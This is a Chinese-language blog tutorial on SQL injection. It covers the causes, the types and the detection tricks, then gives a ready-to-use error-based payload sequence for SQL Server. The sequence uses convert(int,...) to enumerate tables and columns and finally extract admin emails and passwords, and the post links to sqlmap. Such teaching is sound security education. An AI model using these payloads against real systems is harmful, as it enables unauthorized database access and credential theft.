zoukankan      html  css  js  c++  java
  • sql注入

    Sql注入

    Sql注入成因:

    1)     转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);

    2)     类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)

    3)     查询语句的组装不当

    4)     错误处理不当

    5)     权限配置不当(可以执行高权限语句)

    Sql注入类型:

    从参数的角度:基于字符型和数字型的

    基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注

    识别sql注入:

    1. 1.    永真和永假表达式: or 1=1—
    2. 2.    语句执行的报错信息:Having(聚合函数)若select字段没有包含在having里面,则会报错,证明注入成功
    3. 3.    特定数据的连接符:(根据不同数据库的连接符不相同)

           i.          Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)

         ii.          Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)

       iii.          奥瑞考(||连接)1’or ‘ab’=’a’||’b’

    基于错误的sql注入基本原理:

    1. 1.   判断;2.判断数据库

    Sqlsever数据库中convert是一个进行类型转换的函数

    1=convert(int,@@version)--

    拆解库名:1=convert(int,db_name())--

    得到当前用户名:1=convert(int,user_name())—

    拆解表名:

    1=convert(int,(select top 1 table_name from information_schema_tables))—

    1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推

    拆解列名:

    1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—

    1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—

    得到字段数据:

    1=convert(int,(select top 1 email_id from pp_admin_tb))—

    得到字段数据;

    1=convert(int,(select top 1 password from pp_admin_tb))—

    Sqlmap项目源码:https://github.com/sqlmapproject/sqlmap

    手册:https://github.com/sqlmapproject/sqlmap/wiki/Useage

     

     

  • 相关阅读:
    git rebase命令
    java中HashSet对象内的元素的hashCode值不能变化
    Spring中WebApplicationInitializer的理解
    mysql判断表字段或索引是否存在,然后修改
    mysql存储过程
    判断地图上的点是否在圆形,多边形,区域内
    计算任意多边形的面积、中心、重心
    判断点是否在任意多边形内
    springMvc将对象json返回时自动忽略掉对象中的特定属性的注解方式
    String.format()详细用法
  • 原文地址:https://www.cnblogs.com/Jdrops/p/5355193.html
Copyright © 2011-2022 走看看